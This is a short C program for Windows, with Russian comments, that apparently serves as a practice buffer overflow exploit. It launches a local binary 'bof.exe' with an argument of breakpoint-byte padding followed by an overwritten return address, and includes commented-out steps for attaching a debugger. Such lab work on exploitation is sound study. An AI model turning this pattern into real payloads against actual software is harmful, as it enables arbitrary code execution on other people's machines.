#include <windows.h>
#include <stdio.h>

int main()
{
    
    char payload[] = {
      "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xF8\x0E\x7E\x77"
    };

    char commandLine[] = "bof.exe ";

    size_t neededSize = strlen(commandLine) + strlen(payload) + 1;

    char* fin = (char*)malloc(neededSize);

    snprintf(fin, neededSize, "%s%s", commandLine, payload);

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    BOOL success = CreateProcessA(
        NULL,           // Имя модуля (используем командную строку)
        fin,    // Командная строка (включая аргументы)
        NULL,           // Атрибуты безопасности процесса
        NULL,           // Атрибуты безопасности потока
        FALSE,          // Наследование дескрипторов
        0, //CREATE_SUSPENDED, // КРИТИЧЕСКИЙ ФЛАГ, сразу либо зависнет
        NULL,           // Окружение
        NULL,           // Текущий каталог
        &si,            // Указатель на STARTUPINFO
        &pi             // Указатель на PROCESS_INFORMATION
    );

/*    if (!success) {
        printf("[FAIL] Не удалось создать процесс. Ошибка: %lu\n", GetLastError());
        return 1;
    }

    printf("[SUCCESS] Процесс запущен! PID: %lu\n", pi.dwProcessId);
    printf("[*] Сейчас самое время подключиться дебаггером (WinDbg/x64dbg) к PID %lu\n", pi.dwProcessId);
    

    printf("Нажми ENTER, чтобы возобновить поток и отправить инпут...\n");
    getchar(); 

    // Оживляем главный поток процесса
    printf("[*] Возобновление потока...\n");
    ResumeThread(pi.hThread);
*/
    // Закрываем дескрипторы (они больше не нужны нашему лоадеру)
  

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    free(fin);
    return 0;
}
